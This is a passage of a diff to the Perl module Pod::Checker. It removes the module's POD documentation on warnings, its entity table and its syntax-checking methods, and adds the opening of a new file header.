-=item * file does not start with =head
-
-The file starts with a different POD directive than head.
-This is most probably something you do not want.
-
-=end _disabled_
-
-=item * previous =item has no contents
-
-There is a list C<=item> right above the flagged line that has no
-text contents. You probably want to delete empty items.
-
-=item * preceding non-item paragraph(s)
-
-A list introduced by C<=over> starts with a text or verbatim paragraph,
-but continues with C<=item>s. Move the non-item paragraph out of the
-C<=over>/C<=back> block.
-
-=item * =item type mismatch (I<one> vs. I<two>)
-
-A list started with e.g. a bullet-like C<=item> and continued with a
-numbered one. This is obviously inconsistent. For most translators the
-type of the I<first> C<=item> determines the type of the list.
-
-=item * I<N> unescaped C<E<lt>E<gt>> in paragraph
-
-Angle brackets not written as C<E<lt>ltE<gt>> and C<E<lt>gtE<gt>>
-can potentially cause errors as they could be misinterpreted as
-markup commands. This is only printed when the -warnings level is
-greater than 1.
-
-=item * Unknown entity
-
-A character entity was found that does not belong to the standard
-ISO set or the POD specials C<verbar> and C<sol>.
-
-=item * No items in =over
-
-The list opened with C<=over> does not contain any items.
-
-=item * No argument for =item
-
-C<=item> without any parameters is deprecated. It should either be followed
-by C<*> to indicate an unordered list, by a number (optionally followed
-by a dot) to indicate an ordered (numbered) list or simple text for a
-definition list.
-
-=item * empty section in previous paragraph
-
-The previous section (introduced by a C<=head> command) does not contain
-any text. This usually indicates that something is missing. Note: A
-C<=head1> followed immediately by C<=head2> does not trigger this warning.
-
-=item * Verbatim paragraph in NAME section
-
-The NAME section (C<=head1 NAME>) should consist of a single paragraph
-with the script/module name, followed by a dash `-' and a very short
-description of what the thing is good for.
-
-=item * =headI<n> without preceding higher level
-
-For example if there is a C<=head2> in the POD file prior to a
-C<=head1>.
-
-=back
-
-=head2 Hyperlinks
-
-There are some warnings with respect to malformed hyperlinks:
-
-=over 4
-
-=item * ignoring leading/trailing whitespace in link
-
-There is whitespace at the beginning or the end of the contents of
-LE<lt>...E<gt>.
-
-=item * (section) in '$page' deprecated
-
-There is a section detected in the page name of LE<lt>...E<gt>, e.g.
-C<LE<lt>passwd(2)E<gt>>. POD hyperlinks may point to POD documents only.
-Please write C<CE<lt>passwd(2)E<gt>> instead. Some formatters are able
-to expand this to appropriate code. For links to (builtin) functions,
-please say C<LE<lt>perlfunc/mkdirE<gt>>, without ().
-
-=item * alternative text/node '%s' contains non-escaped | or /
-
-The characters C<|> and C</> are special in the LE<lt>...E<gt> context.
-Although the hyperlink parser does its best to determine which "/" is
-text and which is a delimiter in case of doubt, one ought to escape
-these literal characters like this:
-
- / E<sol>
- | E<verbar>
-
-=back
-
-=head1 RETURN VALUE
-
-B<podchecker> returns the number of POD syntax errors found or -1 if
-there were no POD commands at all found in the file.
-
-=head1 EXAMPLES
-
-See L</SYNOPSIS>
-
-=head1 INTERFACE
-
-While checking, this module collects document properties, e.g. the nodes
-for hyperlinks (C<=headX>, C<=item>) and index entries (C<XE<lt>E<gt>>).
-POD translators can use this feature to syntax-check and get the nodes in
-a first pass before actually starting to convert. This is expensive in terms
-of execution time, but allows for very robust conversions.
-
-Since PodParser-1.24 the B<Pod::Checker> module uses only the B<poderror>
-method to print errors and warnings. The summary output (e.g.
-"Pod syntax OK") has been dropped from the module and has been included in
-B<podchecker> (the script). This allows users of B<Pod::Checker> to
-control completely the output behavior. Users of B<podchecker> (the script)
-get the well-known behavior.
-
-=cut
-
-#############################################################################
-
-#use diagnostics;
-use Carp qw(croak);
-use Exporter;
-use Pod::Parser;
-
-@ISA = qw(Pod::Parser);
-@EXPORT = qw(&podchecker);
-
-my %VALID_COMMANDS = (
- 'pod' => 1,
- 'cut' => 1,
- 'head1' => 1,
- 'head2' => 1,
- 'head3' => 1,
- 'head4' => 1,
- 'over' => 1,
- 'back' => 1,
- 'item' => 1,
- 'for' => 1,
- 'begin' => 1,
- 'end' => 1,
- 'encoding' => 1,
-);
-
-my %VALID_SEQUENCES = (
- 'I' => 1,
- 'B' => 1,
- 'S' => 1,
- 'C' => 1,
- 'L' => 1,
- 'F' => 1,
- 'X' => 1,
- 'Z' => 1,
- 'E' => 1,
-);
-
-# stolen from HTML::Entities
-my %ENTITIES = (
- # Some normal chars that have special meaning in SGML context
- amp => '&', # ampersand
-'gt' => '>', # greater than
-'lt' => '<', # less than
- quot => '"', # double quote
-
- # PUBLIC ISO 8879-1986//ENTITIES Added Latin 1//EN//HTML
- AElig => 'Æ', # capital AE diphthong (ligature)
- Aacute => 'Á', # capital A, acute accent
- Acirc => 'Â', # capital A, circumflex accent
- Agrave => 'À', # capital A, grave accent
- Aring => 'Å', # capital A, ring
- Atilde => 'Ã', # capital A, tilde
- Auml => 'Ä', # capital A, dieresis or umlaut mark
- Ccedil => 'Ç', # capital C, cedilla
- ETH => 'Ð', # capital Eth, Icelandic
- Eacute => 'É', # capital E, acute accent
- Ecirc => 'Ê', # capital E, circumflex accent
- Egrave => 'È', # capital E, grave accent
- Euml => 'Ë', # capital E, dieresis or umlaut mark
- Iacute => 'Í', # capital I, acute accent
- Icirc => 'Î', # capital I, circumflex accent
- Igrave => 'Ì', # capital I, grave accent
- Iuml => 'Ï', # capital I, dieresis or umlaut mark
- Ntilde => 'Ñ', # capital N, tilde
- Oacute => 'Ó', # capital O, acute accent
- Ocirc => 'Ô', # capital O, circumflex accent
- Ograve => 'Ò', # capital O, grave accent
- Oslash => 'Ø', # capital O, slash
- Otilde => 'Õ', # capital O, tilde
- Ouml => 'Ö', # capital O, dieresis or umlaut mark
- THORN => 'Þ', # capital THORN, Icelandic
- Uacute => 'Ú', # capital U, acute accent
- Ucirc => 'Û', # capital U, circumflex accent
- Ugrave => 'Ù', # capital U, grave accent
- Uuml => 'Ü', # capital U, dieresis or umlaut mark
- Yacute => 'Ý', # capital Y, acute accent
- aacute => 'á', # small a, acute accent
- acirc => 'â', # small a, circumflex accent
- aelig => 'æ', # small ae diphthong (ligature)
- agrave => 'à', # small a, grave accent
- aring => 'å', # small a, ring
- atilde => 'ã', # small a, tilde
- auml => 'ä', # small a, dieresis or umlaut mark
- ccedil => 'ç', # small c, cedilla
- eacute => 'é', # small e, acute accent
- ecirc => 'ê', # small e, circumflex accent
- egrave => 'è', # small e, grave accent
- eth => 'ð', # small eth, Icelandic
- euml => 'ë', # small e, dieresis or umlaut mark
- iacute => 'í', # small i, acute accent
- icirc => 'î', # small i, circumflex accent
- igrave => 'ì', # small i, grave accent
- iuml => 'ï', # small i, dieresis or umlaut mark
- ntilde => 'ñ', # small n, tilde
- oacute => 'ó', # small o, acute accent
- ocirc => 'ô', # small o, circumflex accent
- ograve => 'ò', # small o, grave accent
- oslash => 'ø', # small o, slash
- otilde => 'õ', # small o, tilde
- ouml => 'ö', # small o, dieresis or umlaut mark
- szlig => 'ß', # small sharp s, German (sz ligature)
- thorn => 'þ', # small thorn, Icelandic
- uacute => 'ú', # small u, acute accent
- ucirc => 'û', # small u, circumflex accent
- ugrave => 'ù', # small u, grave accent
- uuml => 'ü', # small u, dieresis or umlaut mark
- yacute => 'ý', # small y, acute accent
- yuml => 'ÿ', # small y, dieresis or umlaut mark
-
- # Some extra Latin 1 chars that are listed in the HTML3.2 draft (21-May-96)
- copy => '©', # copyright sign
- reg => '®', # registered sign
- nbsp => "\240", # non breaking space
-
- # Additional ISO-8859/1 entities listed in rfc1866 (section 14)
- iexcl => '¡',
- cent => '¢',
- pound => '£',
- curren => '¤',
- yen => '¥',
- brvbar => '¦',
- sect => '§',
- uml => '¨',
- ordf => 'ª',
- laquo => '«',
-'not' => '¬', # not is a keyword in perl
- shy => '­',
- macr => '¯',
- deg => '°',
- plusmn => '±',
- sup1 => '¹',
- sup2 => '²',
- sup3 => '³',
- acute => '´',
- micro => 'µ',
- para => '¶',
- middot => '·',
- cedil => '¸',
- ordm => 'º',
- raquo => '»',
- frac14 => '¼',
- frac12 => '½',
- frac34 => '¾',
- iquest => '¿',
-'times' => '×', # times is a keyword in perl
- divide => '÷',
-
-# some POD special entities
- verbar => '|',
- sol => '/'
-);
-
-##---------------------------------------------------------------------------
-
-##---------------------------------
-## Function definitions begin here
-##---------------------------------
-
-sub podchecker {
- my ($infile, $outfile, %options) = @_;
- local $_;
-
- ## Set defaults
- $infile ||= \*STDIN;
- $outfile ||= \*STDERR;
-
- ## Now create a pod checker
- my $checker = new Pod::Checker(%options);
-
- ## Now check the pod document for errors
- $checker->parse_from_file($infile, $outfile);
-
- ## Return the number of errors found
- return $checker->num_errors();
-}
-
-##---------------------------------------------------------------------------
-
-##-------------------------------
-## Method definitions begin here
-##-------------------------------
-
-##################################
-
-=over 4
-
-=item C<Pod::Checker-E<gt>new( %options )>
-
-Return a reference to a new Pod::Checker object that inherits from
-Pod::Parser and is used for calling the required methods later. The
-following options are recognized:
-
-C<-warnings =E<gt> num>
- Print warnings if C<num> is true. The higher the value of C<num>,
-the more warnings are printed. Currently there are only levels 1 and 2.
-
-C<-quiet =E<gt> num>
- If C<num> is true, do not print any errors/warnings. This is useful
-when Pod::Checker is used to munge POD code into plain text from within
-POD formatters.
-
-=cut
-
-## sub new {
-## my $this = shift;
-## my $class = ref($this) || $this;
-## my %params = @_;
-## my $self = {%params};
-## bless $self, $class;
-## $self->initialize();
-## return $self;
-## }
-
-sub initialize {
- my $self = shift;
- ## Initialize number of errors, and setup an error function to
- ## increment this number and then print to the designated output.
- $self->{_NUM_ERRORS} = 0;
- $self->{_NUM_WARNINGS} = 0;
- $self->{-quiet} ||= 0;
- # set the error handling subroutine
- $self->errorsub($self->{-quiet} ? sub { 1; } : 'poderror');
- $self->{_commands} = 0; # total number of POD commands encountered
- $self->{_list_stack} = []; # stack for nested lists
- $self->{_have_begin} = ''; # stores =begin
- $self->{_links} = []; # stack for internal hyperlinks
- $self->{_nodes} = []; # stack for =head/=item nodes
- $self->{_index} = []; # text in X<>
- # print warnings?
- $self->{-warnings} = 1 unless(defined $self->{-warnings});
- $self->{_current_head1} = ''; # the current =head1 block
- $self->parseopts(-process_cut_cmd => 1, -warnings => $self->{-warnings});
-}
-
-##################################
-
-=item C<$checker-E<gt>poderror( @args )>
-
-=item C<$checker-E<gt>poderror( {%opts}, @args )>
-
-Internal method for printing errors and warnings. If no options are
-given, simply prints "@_". The following options are recognized and used
-to form the output:
-
- -msg
-
-A message to print prior to C<@args>.
-
- -line
-
-The line number the error occurred in.
-
- -file
-
-The file (name) the error occurred in.
-
- -severity
-
-The error level, should be 'WARNING' or 'ERROR'.
-
-=cut
-
-# Invoked as $self->poderror( @args ), or $self->poderror( {%opts}, @args )
-sub poderror {
- my $self = shift;
- my %opts = (ref $_[0]) ? %{shift()} : ();
-
- ## Retrieve options
- chomp( my $msg = ($opts{-msg} || '')."@_" );
- my $line = (exists $opts{-line}) ? " at line $opts{-line}" : '';
- my $file = (exists $opts{-file}) ? " in file $opts{-file}" : '';
- unless (exists $opts{-severity}) {
- ## See if can find severity in message prefix
- $opts{-severity} = $1 if ( $msg =~ s/^\**\s*([A-Z]{3,}):\s+// );
- }
- my $severity = (exists $opts{-severity}) ? "*** $opts{-severity}: " : '';
-
- ## Increment error count and print message "
- ++($self->{_NUM_ERRORS})
- if(!%opts || ($opts{-severity} && $opts{-severity} eq 'ERROR'));
- ++($self->{_NUM_WARNINGS})
- if(!%opts || ($opts{-severity} && $opts{-severity} eq 'WARNING'));
- unless($self->{-quiet}) {
- my $out_fh = $self->output_handle() || \*STDERR;
- print $out_fh ($severity, $msg, $line, $file, "\n")
- if($self->{-warnings} || !%opts || $opts{-severity} ne 'WARNING');
- }
-}
-
-##################################
-
-=item C<$checker-E<gt>num_errors()>
-
-Set (if argument specified) and retrieve the number of errors found.
-
-=cut
-
-sub num_errors {
- return (@_ > 1) ? ($_[0]->{_NUM_ERRORS} = $_[1]) : $_[0]->{_NUM_ERRORS};
-}
-
-##################################
-
-=item C<$checker-E<gt>num_warnings()>
-
-Set (if argument specified) and retrieve the number of warnings found.
-
-=cut
-
-sub num_warnings {
- return (@_ > 1) ? ($_[0]->{_NUM_WARNINGS} = $_[1]) : $_[0]->{_NUM_WARNINGS};
-}
-
-##################################
-
-=item C<$checker-E<gt>name()>
-
-Set (if argument specified) and retrieve the canonical name of POD as
-found in the C<=head1 NAME> section.
-
-=cut
-
-sub name {
- return (@_ > 1 && $_[1]) ?
- ($_[0]->{-name} = $_[1]) : $_[0]->{-name};
-}
-
-##################################
-
-=item C<$checker-E<gt>node()>
-
-Add (if argument specified) and retrieve the nodes (as defined by C<=headX>
-and C<=item>) of the current POD. The nodes are returned in the order of
-their occurrence. They consist of plain text, each piece of whitespace is
-collapsed to a single blank.
-
-=cut
-
-sub node {
- my ($self,$text) = @_;
- if(defined $text) {
- $text =~ s/\s+$//s; # strip trailing whitespace
- $text =~ s/\s+/ /gs; # collapse whitespace
- # add node, order important!
- push(@{$self->{_nodes}}, $text);
- # keep also a uniqueness counter
- $self->{_unique_nodes}->{$text}++ if($text !~ /^\s*$/s);
- return $text;
- }
- @{$self->{_nodes}};
-}
-
-##################################
-
-=item C<$checker-E<gt>idx()>
-
-Add (if argument specified) and retrieve the index entries (as defined by
-C<XE<lt>E<gt>>) of the current POD. They consist of plain text, each piece
-of whitespace is collapsed to a single blank.
-
-=cut
-
-# set/return index entries of current POD
-sub idx {
- my ($self,$text) = @_;
- if(defined $text) {
- $text =~ s/\s+$//s; # strip trailing whitespace
- $text =~ s/\s+/ /gs; # collapse whitespace
- # add node, order important!
- push(@{$self->{_index}}, $text);
- # keep also a uniqueness counter
- $self->{_unique_nodes}->{$text}++ if($text !~ /^\s*$/s);
- return $text;
- }
- @{$self->{_index}};
-}
-
-##################################
-
-=item C<$checker-E<gt>hyperlink()>
-
-Add (if argument specified) and retrieve the hyperlinks (as defined by
-C<LE<lt>E<gt>>) of the current POD. They consist of a 2-item array: line
-number and C<Pod::Hyperlink> object.
-
-=back
-
-=cut
-
-# set/return hyperlinks of the current POD
-sub hyperlink {
- my $self = shift;
- if($_[0]) {
- push(@{$self->{_links}}, $_[0]);
- return $_[0];
- }
- @{$self->{_links}};
-}
-
-## overrides for Pod::Parser
-
-sub end_pod {
- ## Do some final checks and
- ## print the number of errors found
- my $self = shift;
- my $infile = $self->input_file();
-
- if(@{$self->{_list_stack}}) {
- my $list;
- while(($list = $self->_close_list('EOF',$infile)) &&
- $list->indent() ne 'auto') {
- $self->poderror({ -line => 'EOF', -file => $infile,
- -severity => 'ERROR', -msg => '=over on line ' .
- $list->start() . ' without closing =back' });
- }
- }
-
- # check validity of document internal hyperlinks
- # first build the node names from the paragraph text
- my %nodes;
- foreach($self->node()) {
- $nodes{$_} = 1;
- if(/^(\S+)\s+\S/) {
- # we have more than one word. Use the first as a node, too.
- # This is used heavily in perlfunc.pod
- $nodes{$1} ||= 2; # derived node
- }
- }
- foreach($self->idx()) {
- $nodes{$_} = 3; # index node
- }
- foreach($self->hyperlink()) {
- my ($line,$link) = @$_;
- # _TODO_ what if there is a link to the page itself by the name,
- # e.g. in Tk::Pod : L<Tk::Pod/"DESCRIPTION">
- if($link->node() && !$link->page() && $link->type() ne 'hyperlink') {
- my $node = $self->_check_ptree($self->parse_text($link->node(),
- $line), $line, $infile, 'L');
- if($node && !$nodes{$node}) {
- $self->poderror({ -line => $line || '', -file => $infile,
- -severity => 'ERROR',
- -msg => "unresolved internal link '$node'"});
- }
- }
- }
-
- # check the internal nodes for uniqueness. This pertains to
- # =headX, =item and X<...>
- if($self->{-warnings} && $self->{-warnings}>1) {
- foreach(grep($self->{_unique_nodes}->{$_} > 1,
- keys %{$self->{_unique_nodes}})) {
- $self->poderror({ -line => '-', -file => $infile,
- -severity => 'WARNING',
- -msg => "multiple occurrence of link target '$_'"});
- }
- }
-
- # no POD found here
- $self->num_errors(-1) if($self->{_commands} == 0);
-}
-
-# check a POD command directive
-sub command {
- my ($self, $cmd, $paragraph, $line_num, $pod_para) = @_;
- my ($file, $line) = $pod_para->file_line;
- ## Check the command syntax
- my $arg; # this will hold the command argument
- if (! $VALID_COMMANDS{$cmd}) {
- $self->poderror({ -line => $line, -file => $file, -severity => 'ERROR',
- -msg => "Unknown command '$cmd'" });
- }
- else { # found a valid command
- $self->{_commands}++; # delete this line if below is enabled again
-
- $self->_commands_in_paragraphs($paragraph, $pod_para);
-
- ##### following check disabled due to strong request
- #if(!$self->{_commands}++ && $cmd !~ /^head/) {
- # $self->poderror({ -line => $line, -file => $file,
- # -severity => 'WARNING',
- # -msg => "file does not start with =head" });
- #}
-
- # check syntax of particular command
- if($cmd eq 'over') {
- # check for argument
- $arg = $self->interpolate_and_check($paragraph, $line,$file);
- my $indent = 4; # default
- if($arg && $arg =~ /^\s*(\d+)\s*$/) {
- $indent = $1;
- }
- # start a new list
- $self->_open_list($indent,$line,$file);
- }
- elsif($cmd eq 'item') {
- # are we in a list?
- unless(@{$self->{_list_stack}}) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => '=item without previous =over' });
- # auto-open in case we encounter many more
- $self->_open_list('auto',$line,$file);
- }
- my $list = $self->{_list_stack}->[0];
- # check whether the previous item had some contents
- if(defined $self->{_list_item_contents} &&
- $self->{_list_item_contents} == 0) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'previous =item has no contents' });
- }
- if($list->{_has_par}) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'preceding non-item paragraph(s)' });
- delete $list->{_has_par};
- }
- # check for argument
- $arg = $self->interpolate_and_check($paragraph, $line, $file);
- if($arg && $arg =~ /(\S+)/) {
- $arg =~ s/[\s\n]+$//;
- my $type;
- if($arg =~ /^[*]\s*(\S*.*)/) {
- $type = 'bullet';
- $self->{_list_item_contents} = $1 ? 1 : 0;
- $arg = $1;
- }
- elsif($arg =~ /^\d+\.?\s+(\S*)/) {
- $type = 'number';
- $self->{_list_item_contents} = $1 ? 1 : 0;
- $arg = $1;
- }
- else {
- $type = 'definition';
- $self->{_list_item_contents} = 1;
- }
- my $first = $list->type();
- if($first && $first ne $type) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => "=item type mismatch ('$first' vs. '$type')"});
- }
- else { # first item
- $list->type($type);
- }
- }
- else {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'No argument for =item' });
- $arg = ' '; # empty
- $self->{_list_item_contents} = 0;
- }
- # add this item
- $list->item($arg);
- # remember this node
- $self->node($arg);
- }
- elsif($cmd eq 'back') {
- # check if we have an open list
- unless(@{$self->{_list_stack}}) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => '=back without previous =over' });
- }
- else {
- # check for spurious characters
- $arg = $self->interpolate_and_check($paragraph, $line,$file);
- if($arg && $arg =~ /\S/) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'Spurious character(s) after =back' });
- }
- # close list
- my $list = $self->_close_list($line,$file);
- # check for empty lists
- if(!$list->item() && $self->{-warnings}) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'No items in =over (at line ' .
- $list->start() . ') / =back list'});
- }
- }
- }
- elsif($cmd =~ /^head(\d+)/) {
- my $hnum = $1;
- $self->{"_have_head_$hnum"}++; # count head types
- if($hnum > 1 && !$self->{'_have_head_'.($hnum -1)}) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => "=head$hnum without preceding higher level"});
- }
- # check whether the previous =head section had some contents
- if(defined $self->{_commands_in_head} &&
- $self->{_commands_in_head} == 0 &&
- defined $self->{_last_head} &&
- $self->{_last_head} >= $hnum) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'empty section in previous paragraph'});
- }
- $self->{_commands_in_head} = -1;
- $self->{_last_head} = $hnum;
- # check if there is an open list
- if(@{$self->{_list_stack}}) {
- my $list;
- while(($list = $self->_close_list($line,$file)) &&
- $list->indent() ne 'auto') {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => '=over on line '. $list->start() .
- " without closing =back (at $cmd)" });
- }
- }
- # remember this node
- $arg = $self->interpolate_and_check($paragraph, $line,$file);
- $arg =~ s/[\s\n]+$//s;
- $self->node($arg);
- unless(length($arg)) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => "empty =$cmd"});
- }
- if($cmd eq 'head1') {
- $self->{_current_head1} = $arg;
- } else {
- $self->{_current_head1} = '';
- }
- }
- elsif($cmd eq 'begin') {
- if($self->{_have_begin}) {
- # already have a begin
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => q{Nested =begin's (first at line } .
- $self->{_have_begin} . ')'});
- }
- else {
- # check for argument
- $arg = $self->interpolate_and_check($paragraph, $line,$file);
- unless($arg && $arg =~ /(\S+)/) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'No argument for =begin'});
- }
- # remember the =begin
- $self->{_have_begin} = "$line:$1";
- }
- }
- elsif($cmd eq 'end') {
- if($self->{_have_begin}) {
- # close the existing =begin
- $self->{_have_begin} = '';
- # check for spurious characters
- $arg = $self->interpolate_and_check($paragraph, $line,$file);
- # the closing argument is optional
- #if($arg && $arg =~ /\S/) {
- # $self->poderror({ -line => $line, -file => $file,
- # -severity => 'WARNING',
- # -msg => "Spurious character(s) after =end" });
- #}
- }
- else {
- # don't have a matching =begin
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => '=end without =begin' });
- }
- }
- elsif($cmd eq 'for') {
- unless($paragraph =~ /\s*(\S+)\s*/) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => '=for without formatter specification' });
- }
- $arg = ''; # do not expand paragraph below
- }
- elsif($cmd =~ /^(pod|cut)$/) {
- # check for argument
- $arg = $self->interpolate_and_check($paragraph, $line,$file);
- if($arg && $arg =~ /(\S+)/) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => "Spurious text after =$cmd"});
- }
- if($cmd eq 'cut' && (!$self->{_PREVIOUS} || $self->{_PREVIOUS} eq 'cut')) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => "Spurious =cut command"});
- }
- if($cmd eq 'pod' && $self->{_PREVIOUS} && $self->{_PREVIOUS} ne 'cut') {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => "Spurious =pod command"});
- }
- }
- $self->{_commands_in_head}++;
- ## Check the interior sequences in the command-text
- $self->interpolate_and_check($paragraph, $line,$file)
- unless(defined $arg);
- }
-}
-
-sub _open_list
-{
- my ($self,$indent,$line,$file) = @_;
- my $list = Pod::List->new(
- -indent => $indent,
- -start => $line,
- -file => $file);
- unshift(@{$self->{_list_stack}}, $list);
- undef $self->{_list_item_contents};
- $list;
-}
-
-sub _close_list
-{
- my ($self,$line,$file) = @_;
- my $list = shift(@{$self->{_list_stack}});
- if(defined $self->{_list_item_contents} &&
- $self->{_list_item_contents} == 0) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'previous =item has no contents' });
- }
- undef $self->{_list_item_contents};
- $list;
-}
-
-# process a block of some text
-sub interpolate_and_check {
- my ($self, $paragraph, $line, $file) = @_;
- ## Check the interior sequences in the command-text
- # and return the text
- $self->_check_ptree(
- $self->parse_text($paragraph,$line), $line, $file, '');
-}
-
-sub _check_ptree {
- my ($self,$ptree,$line,$file,$nestlist) = @_;
- local($_);
- my $text = '';
- # process each node in the parse tree
- foreach(@$ptree) {
- # regular text chunk
- unless(ref) {
- # count the unescaped angle brackets
- # complain only when warning level is greater than 1
- if($self->{-warnings} && $self->{-warnings}>1) {
- my $count;
- if($count = tr/<>/<>/) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => "$count unescaped <> in paragraph" });
- }
- }
- $text .= $_;
- next;
- }
- # have an interior sequence
- my $cmd = $_->cmd_name();
- my $contents = $_->parse_tree();
- ($file,$line) = $_->file_line();
- # check for valid tag
- if (! $VALID_SEQUENCES{$cmd}) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => qq(Unknown interior-sequence '$cmd')});
- # expand it anyway
- $text .= $self->_check_ptree($contents, $line, $file, "$nestlist$cmd");
- next;
- }
- if(index($nestlist, $cmd) != -1) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => "nested commands $cmd<...$cmd<...>...>"});
- # _TODO_ should we add the contents anyway?
- # expand it anyway, see below
- }
- if($cmd eq 'E') {
- # preserve entities
- if(@$contents > 1 || ref $$contents[0] || $$contents[0] !~ /^\w+$/) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'garbled entity ' . $_->raw_text()});
- next;
- }
- my $ent = $$contents[0];
- my $val;
- if($ent =~ /^0x[0-9a-f]+$/i) {
- # hexadec entity
- $val = hex($ent);
- }
- elsif($ent =~ /^0\d+$/) {
- # octal
- $val = oct($ent);
- }
- elsif($ent =~ /^\d+$/) {
- # numeric entity
- $val = $ent;
- }
- if(defined $val) {
- if($val>0 && $val<256) {
- $text .= chr($val);
- }
- else {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'Entity number out of range ' . $_->raw_text()});
- }
- }
- elsif($ENTITIES{$ent}) {
- # known ISO entity
- $text .= $ENTITIES{$ent};
- }
- else {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'Unknown entity ' . $_->raw_text()});
- $text .= "E<$ent>";
- }
- }
- elsif($cmd eq 'L') {
- # try to parse the hyperlink
- my $link = Pod::Hyperlink->new($contents->raw_text());
- unless(defined $link) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'malformed link ' . $_->raw_text() ." : $@"});
- next;
- }
- $link->line($line); # remember line
- if($self->{-warnings}) {
- foreach my $w ($link->warning()) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => $w });
- }
- }
- # check the link text
- $text .= $self->_check_ptree($self->parse_text($link->text(),
- $line), $line, $file, "$nestlist$cmd");
- # remember link
- $self->hyperlink([$line,$link]);
- }
- elsif($cmd =~ /[BCFIS]/) {
- # add the guts
- $text .= $self->_check_ptree($contents, $line, $file, "$nestlist$cmd");
- }
- elsif($cmd eq 'Z') {
- if(length($contents->raw_text())) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'Nonempty Z<>'});
- }
- }
- elsif($cmd eq 'X') {
- my $idx = $self->_check_ptree($contents, $line, $file, "$nestlist$cmd");
- if($idx =~ /^\s*$/s) {
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => 'Empty X<>'});
- }
- else {
- # remember this node
- $self->idx($idx);
- }
- }
- else {
- # not reached
- croak 'internal error';
- }
- }
- $text;
-}
-
-# process a block of verbatim text
-sub verbatim {
- ## Nothing particular to check
- my ($self, $paragraph, $line_num, $pod_para) = @_;
-
- $self->_preproc_par($paragraph);
- $self->_commands_in_paragraphs($paragraph, $pod_para);
-
- if($self->{_current_head1} eq 'NAME') {
- my ($file, $line) = $pod_para->file_line;
- $self->poderror({ -line => $line, -file => $file,
- -severity => 'WARNING',
- -msg => 'Verbatim paragraph in NAME section' });
- }
-}
-
-# process a block of regular text
-sub textblock {
- my ($self, $paragraph, $line_num, $pod_para) = @_;
- my ($file, $line) = $pod_para->file_line;
-
- $self->_preproc_par($paragraph);
- $self->_commands_in_paragraphs($paragraph, $pod_para);
-
- # skip this paragraph if in a =begin block
- unless($self->{_have_begin}) {
- my $block = $self->interpolate_and_check($paragraph, $line,$file);
- if($self->{_current_head1} eq 'NAME') {
- if($block =~ /^\s*(\S+?)\s*[,-]/) {
- # this is the canonical name
- $self->{-name} = $1 unless(defined $self->{-name});
- }
- }
- }
-}
-
-sub _preproc_par
-{
- my $self = shift;
- $_[0] =~ s/[\s\n]+$//;
- if($_[0]) {
- $self->{_commands_in_head}++;
- $self->{_list_item_contents}++ if(defined $self->{_list_item_contents});
- if(@{$self->{_list_stack}} && !$self->{_list_stack}->[0]->item()) {
- $self->{_list_stack}->[0]->{_has_par} = 1;
- }
- }
-}
-
-# look for =foo commands at the start of a line within a paragraph, as for
-# instance the following which prints as "* one =item two".
-#
-# =item one
-# =item two
-#
-# Examples of =foo written in docs are expected to be indented in a verbatim
-# or marked up C<=foo> so won't be caught. A double-angle C<< =foo >> could
-# have the =foo at the start of a line, but that should be unlikely and is
-# easily enough dealt with by not putting a newline after the C<<.
-#
-sub _commands_in_paragraphs {
- my ($self, $str, $pod_para) = @_;
- while ($str =~ /[^\n]\n=([a-z][a-z0-9]+)/sg) {
- my $cmd = $1;
- my $pos = pos($str);
- if ($VALID_COMMANDS{$cmd}) {
- my ($file, $line) = $pod_para->file_line;
- my $part = substr($str, 0, $pos);
- $line += ($part =~ tr/\n//); # count of newlines
-
- $self->poderror
- ({ -line => $line, -file => $file,
- -severity => 'ERROR',
- -msg => "Apparent command =$cmd not preceded by blank line"});
- }
- }
-}
-
-1;
-
-__END__
-
-=head1 AUTHOR
-
-Please report bugs using L<http://rt.cpan.org>.
-
-Brad Appleton E<lt>bradapp@enteract.comE<gt> (initial version),
-Marek Rouchal E<lt>marekr@cpan.orgE<gt>
-
-Based on code for B<Pod::Text::pod2text()> written by
-Tom Christiansen E<lt>tchrist@mox.perl.comE<gt>
-
-B<Pod::Checker> is part of the Pod-Checker distribution, and is based on
-L<Pod::Parser>.
-
-=cut
-
+#############################################################################
+# Pod/Checker.pm -- check pod documents for syntax errors
+#
+# Copyright (C) 1994-2000 by Bradford Appleton. All rights reserved.
